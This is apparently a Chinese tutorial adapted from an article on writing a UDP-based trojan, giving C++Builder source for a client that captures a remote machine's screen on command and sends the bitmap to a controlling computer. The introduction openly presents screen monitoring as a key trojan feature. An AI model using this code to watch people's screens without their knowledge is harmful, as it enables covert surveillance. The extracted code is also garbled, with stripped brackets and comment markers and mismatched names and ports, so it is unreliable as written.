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文档简介

1、用UDP协议实现远程监视屏幕    老妖注:这篇文档原来是"用UDP协议的木马编写方法(Delphi版)",为了实现真正的C+Builder研究。我将他改成了CB版。呵呵。版权的没有。木马的一个很重要的功能就是远程监视屏幕,下面的文章讲述了怎样利用UDP协议来实现,而不是我们通常用到的tcp/ip协议,很有特色,值得一学。 一、软硬件要求。 Windows95/98/2k对等网,用来监视的计算机(以下简称主控机)和被监视的计算机(以下简称受控机)都必须装有TCP/IP 协议,并正确配置。如没有网络,也可以在一台计算机上进行调试。 二、

2、实现方法。 编制两个应用程序,一个为VClient.exe,装在受控机上,另一个为VServer.exe,装在主控机上。VServer.exe指定要监视的受控机的IP地址和将要在受控机屏幕上抓取区域的大小和位置,并发出屏幕抓取指令给VClient.exe,VClient.exe得到指令后,在受控机屏幕上选取指定区域,生成数据流,将其发回主控机,并在主控机上显示出抓取区域的BMP图象。由以上过程可以看出,该方法的关键有二:一是如何在受控机上进行屏幕抓取,二是如何通过TCP/IP协议在两台计算机中传输数据。 UDP(User Datagram Protocol,意为用户报文协议)是Internet

3、上广泛采用的通信协议之一。与TCP协议不同,它是一种非连接的传输协议,没有确认机制,可靠性不如TCP,但它的效率却比TCP高,用于远程屏幕监视还是比较适合的。同时,UDP控件不区分服务器端和客户端,只区分发送端和接收端,编程上较为简单,故选用UDP协议,使用C+ Builder 6.0提供的TNMUDP控件。 三、创建演示程序。 第一步,编制VClient.exe文件。新建一个Application,将默认窗体的Name属性设为“Client”。加入TNMUDP控件,Name属性设为“CUDP”;LocalPort属性设为“1111”,让控件CUDP监视受控机的1111端口,当有数据发送到该口

4、时,触发控件CUDP的OnDataReceived事件;RemotePort属性设为“2222”,当控件CUDP发送数据时,将数据发到主控机的2222口。 在Unit1.h中加入变量定义 TMemoryStream *BmpStream;  /将屏幕保存在流中long LeftSize;    /发送每一笔数据后剩余的字节数void _fastcall TClient:ScreenCap(int LeftPos,int TopPos,int RightPos,int BottomPos);  /自定义抓屏函数在Un

5、it1.cpp中加入#define BuffSize 2048  /发送每一笔数据的缓冲区大小在Client的OnCreate事件添加代码: void _fastcall TClient:FormCreate(TObject *Sender)BmpStream=new TMemoryStream();在Client的OnDestroy事件添加代码: void _fastcall TClient:FormDestroy(TObject *Sender)delete BmpStream;       

6、0;在控件CUDP的OnDataReceived事件添加代码: void _fastcall TClient:CUDPDataReceived(TComponent *Sender,int NumberBytes, AnsiString FromIP, int Port)String CtrlCode;char Buf2048;String TmpStr,LeftPos,TopPos,RightPos,BottomPos;int SendSize;TMemoryStream *MyStream = new TMemoryStream();CUDP->ReadStream(MyStream

7、);CtrlCode.SetLength(NumberBytes);MyStream->Read(&CtrlCode1, NumberBytes);/读取控制码delete MyStream;/ShowMessage(CtrlCode);if(CtrlCode.SubString(1,4)="show")  / 控制码前4位为“show”表示主控机发出了抓屏指令  if(BmpStream->Size=0)/没有数据可发,必须截屏生成数据      

8、60; TmpStr=CtrlCode.SubString(6,CtrlCode.Length()-5);    LeftPos=TmpStr.SubString(1,TmpStr.Pos(",")-1);    TmpStr=TmpStr.SubString(LeftPos.Length()+2,TmpStr.Length()-LeftPos.Length()+1);    TopPos=TmpStr.SubString(1,TmpStr.Po

9、s(",")-1);    TmpStr=TmpStr.SubString(TopPos.Length()+2,TmpStr.Length()-TopPos.Length()+1);    RightPos=TmpStr.SubString(1,TmpStr.Pos(",")-1);    TmpStr=TmpStr.SubString(RightPos.Length()+2,TmpStr.Length()-RightPos.Lengt

10、h()+1);    BottomPos=Trim(TmpStr);    ScreenCap(StrToInt(LeftPos),StrToInt(TopPos),StrToInt(RightPos),StrToInt(BottomPos);/截取屏幕      if(LeftSize>BufSize) SendSize=BufSize;  else SendSize=LeftSize;  BmpStream

11、->ReadBuffer(Buf,SendSize);  LeftSize=LeftSize-SendSize;  if(LeftSize=0) BmpStream->Clear();  /清空流  CUDP->RemoteHost=FromIP;  /FromIP为主控机IP地址  CUDP->RemotePort=2222;  /主控机端口  CUDP->SendBuffer(Buf,SendSize,

12、SendSize); /将数据发到主控机的2222口  其中ScreenCap是自定义函数,截取屏幕指定区域,代码如下: void _fastcall TClient:ScreenCap(int LeftPos,int TopPos,int RightPos,int BottomPos)int RectWidth,RectHeight;HBITMAP Bhandle;HDC SourceDC,DestDC;Graphics:TBitmap *Bitmap=new Graphics:TBitmap();RectWidth=RightPos-LeftPos;RectHeight

13、=BottomPos-TopPos;SourceDC=CreateDC("DISPLAY","","",NULL);DestDC=CreateCompatibleDC(SourceDC);Bhandle=CreateCompatibleBitmap(SourceDC,RectWidth,RectHeight);SelectObject(DestDC,Bhandle);BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC,LeftPos,TopPos,SRCCOPY);Bitmap->Ha

14、ndle=Bhandle;Bitmap->SaveToStream(BmpStream);BmpStream->Position=0;LeftSize=BmpStream->Size;delete Bitmap;DeleteDC(DestDC);ReleaseDC(Bhandle,SourceDC);存为“ClientUnit1.cpp”和“Clientclient.bpr”, 并编译。 第二步,编制VServer.exe文件。新建C+Builber工程,将窗体的Name属性设为“Server”。加入TNMUDP控件,Name属性设为“SUDP”;LocalPort属性设为“

15、2222”,让控件SUDP监视主控机的2222端口,当有数据发送到该口时,触发控件SUDP的OnDataReceived事件;RemotePort属性设为“1111”,当控件SUDP发送数据时,将数据发到受控机的1111口。加入控件Image1,Align属性设为“alClient”;加入控件Button1,Caption属性设为“截屏”;加入控件Label1,Caption属性设为“左:上:右:下”;加入控件Edit1,Text属性设为“0:0:100:100”;加入控件Label2,Caption属性设为“受控机IP地址”;加入控件Edit2,Text属性设为“”; 在U

16、nit1.h中加入变量定义 void _fastcall TForm1:FormCreate(TObject *Sender)TmpStream=new TMemoryStream;RsltStream=new TMemoryStream;为Server的OnCreate事件添加代码: void _fastcall TForm1:FormDestroy(TObject *Sender)delete TmpStream;delete RsltStream;        为控件Button1的OnClick事件添加代

17、码: void _fastcall TForm1:Button1Click(TObject *Sender)String C;C=String("show ")+Edit1->Text; /抓屏的参数,需要注意的是格式为:左边界,上边界,宽度,高度 例:1,1,100,100SUDP->RemoteHost=Edit2->Text;SUDP->RemotePort=2223;SUDP->LocalPort=2222;SUDP->SendBuffer(C.c_str(),C.Length(),C.Length(); /这时的C.c_str(

18、)的格式应该类似于:"show 1,1,100,100"TmpStream->Clear();RsltStream->Clear();为控件SUDP的OnDataReceived事件添加代码: void _fastcall TForm1:SUDPDataReceived(TComponent *Sender,int NumberBytes, AnsiString FromIP, int Port)String ReqCodeStr;if(NumberBytes<0)    ShowMessage("未找到主机");  return;  SUDP->ReadStream(TmpStream);RsltStream->CopyFrom(TmpStream,NumberBytes);if(NumberBytes<BufSize) /数据已读完    RsltStream->Position=0;  Image1->Picture->Bitmap->LoadFromStream(RsltStream); 

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